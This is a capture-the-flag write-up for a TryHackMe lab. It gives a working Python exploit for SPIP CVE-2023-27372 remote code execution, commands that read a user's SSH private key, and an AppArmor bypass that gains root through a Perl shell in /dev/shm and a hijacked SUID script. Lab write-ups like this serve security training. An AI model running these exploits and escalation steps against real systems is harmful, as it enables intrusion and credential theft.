4 min read

TryHackMe Publisher Writeup: SPIP RCE & AppArmor Bypass

TryHackMe Publisher Writeup: SPIP RCE & AppArmor Bypass

Room Info

Reconnaissance

Nmap Scan

nmap -Pn -sV -sC 10.201.75.156 -p-

Scan results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    Apache/2.4.41 (Ubuntu)

Web Recon

Browsing to http://10.201.75.156 turns up a SPIP CMS:

curl -I http://10.201.75.156/spip/spip.php

Key finding:
At http://10.201.75.156/spip/config/ we can read the version, which we can then check against known vulnerabilities!

Composed-By: SPIP 4.2.0 @ www.spip.net

Step 1: Initial Access - SPIP CVE-2023-27372 RCE

Vulnerability details

  • CVE: CVE-2023-27372
  • Affected versions: SPIP < 4.2.1
  • Vulnerability type: Remote code execution via PHP deserialization
  • Exploitation vector: the oubli parameter of /spip.php?page=spip_pass

Vulnerability analysis
SPIP uses the dangerous #ENV** tag in its password-reset feature, and the regular expression in the protege_champ() function is flawed, which allows serialized PHP code to be injected.

Exploit Script

Download the public exploit:

wget https://raw.githubusercontent.com/nuts7/CVE-2023-27372/master/CVE-2023-27372.py -O 51536.py

Problem: the original script has a urllib3 compatibility issue.

Fix:

sed -i '63s/^/# /' 51536.py

Second problem: the original script only injects the payload but never shows the output.

Improved Exploit Script

Create exploit.py:

#!/usr/bin/env python3
import requests
import bs4
import sys

def get_csrf(url):
    r = requests.get(f'{url}/spip.php?page=spip_pass')
    soup = bs4.BeautifulSoup(r.text, 'html.parser')
    csrf_input = soup.find('input', {'name': 'formulaire_action_args'})
    return csrf_input['value'] if csrf_input else None

def exploit(url, cmd):
    csrf = get_csrf(url)
    if not csrf:
        print("[-] Failed to get CSRF token")
        return

    print(f"[+] CSRF: {csrf[:30]}...")

    # Calculate the length correctly!
    php_code = f'<?php system("{cmd}"); ?>'
    payload = f's:{len(php_code)}:"{php_code}";'

    print(f"[*] Command: {cmd}")
    print(f"[*] PHP code: {php_code}")
    print(f"[*] PHP code length: {len(php_code)}")
    print(f"[*] Payload: {payload}")

    data = {
        "page": "spip_pass",
        "formulaire_action": "oubli",
        "formulaire_action_args": csrf,
        "oubli": payload
    }

    r = requests.post(f'{url}/spip.php?page=spip_pass', data=data)

    print(f"\n[*] Status: {r.status_code}")

    # Look for the command output
    if 'erreur' not in r.text.lower():
        print("[+] No error detected!")

    # Show the response
    print("\n" + "="*60)
    print(r.text)
    print("="*60)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: python3 spip_exploit.py 'command'")
        sys.exit(1)

    url = "http://10.201.75.156/spip"
    cmd = ' '.join(sys.argv[1:])
    exploit(url, cmd)

Running the Exploit

python3 exploit.py 'id'

Output (inside the HTML value attribute):

value="s:22:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
";"

Code execution achieved!

Step 2: Lateral Movement to the think User

Recon the system

python3 exploit.py 'ls -la /home'
python3 exploit.py 'ls -la /home/think'

Findings:

drwxr-xr-x 2 think think 4096 Jan 10  2024 .ssh
-rw-r--r-- 1 root  root    35 Feb 10  2024 user.txt

Check the SSH directory

python3 exploit.py 'ls -la /home/think/.ssh/'

Key finding:

-rw-r--r-- 1 think think 2602 Jan 10  2024 id_rsa  ← world-readable!

Grab the SSH private key

python3 exploit.py 'cat /home/think/.ssh/id_rsa'

Save the output as think_id_rsa:

chmod 600 think_id_rsa
ssh -i think_id_rsa [email protected]

Logged in successfully!

User Flag

think@ip-10-201-75-156:~$ cat user.txt
Redacted

Step 3: Privilege Escalation to Root - AppArmor Bypass

Initial recon

# Check for SUID files
find / -perm -4000 2>/dev/null

# Check sudo privileges
sudo -l  # requires a password

# Check the kernel version
uname -a

A suspicious SUID file turns up:

/usr/sbin/run_container  ← a custom binary!

Analyze run_container

/usr/sbin/run_container

Output:

List of Docker containers:
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up
Enter the ID of the container or leave blank to create a new one:

Look at the script contents:

cat /opt/run_container.sh

Key findings:

  1. /usr/sbin/run_container runs with root privileges
  2. It calls the /opt/run_container.sh script
  3. The validate_container_id function doesn't exist (error on line 16)

Escalation idea
If we can modify /opt/run_container.sh, we can run arbitrary commands as root!

Problem: AppArmor restrictions

echo 'chmod +s /bin/bash' > /opt/run_container.sh
# bash: /opt/run_container.sh: Permission denied

AppArmor analysis
Check the AppArmor profile of the current shell:

cat /proc/self/attr/current
# /usr/sbin/ash (complain)

cat /etc/apparmor.d/usr.sbin.ash

Key restrictions:

deny /opt/** w,      ← cannot write to /opt/
deny /tmp/** w,      ← cannot write to /tmp/
deny /home/** w,     ← cannot write to /home/

But: there's no restriction on /dev/shm/!

AppArmor bypass trick
AppArmor restrictions apply to processes, not to users! The key is to spawn a new process to escape the restrictions.

Step 1: Create a Perl script in /dev/shm

cat > /dev/shm/test.pl << 'EOF'
#!/usr/bin/perl
use POSIX qw(strftime);
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/sh";
EOF

chmod +x /dev/shm/test.pl

Step 2: Run the Perl script to get a new shell

/dev/shm/test.pl

Notice how the prompt changes:

think@ip-10-201-14-58:~$  ← original shell (restricted by AppArmor)
$                          ← new shell (unrestricted!)

Step 3: Modify run_container.sh from the new shell

$ echo '#!/bin/bash
/bin/bash -p' > /opt/run_container.sh

Write succeeded! (because the new shell isn't under AppArmor's thumb)

Step 4: Run the SUID binary to trigger the escalation

$ /usr/sbin/run_container

Escalation successful:

bash-5.0#  ← Root shell!

Root Flag

bash-5.0# cat /root/root.txt
Redacted

Key Technical Takeaways

1. Exploiting SPIP CVE-2023-27372

  • Output location: inside the HTML value attribute of the POST response

2. Misconfigured SSH Private Key Permissions

  • Problem: the id_rsa file was set world-readable (644)
  • Correct permissions: it should be 600

3. AppArmor Security Bypass

  • Understanding: AppArmor restricts processes, not users
  • Bypass method:
    1. Find a directory that's both writable and executable (/dev/shm/)
    2. Create a script that spawns a new process
    3. The new process doesn't inherit the AppArmor restrictions
    4. Perform the restricted operation inside the new process

4. SUID Script Exploitation

  • Conditions:
    • A SUID binary calls an external script
    • The script path can be modified
  • Exploitation: change the script's contents to run commands as root

Lessons Learned

I honestly couldn't figure out the privilege escalation on this one. In the end I talked it through with an AI and it revealed my blind spot.
Claude AI: You'd actually found all the key clues:

  1. /dev/shm/ is writable
  2. /opt/run_container.sh is the target
  3. ❌ but you never realized you needed to use /dev/shm/test.pl to spawn a new process to bypass AppArmor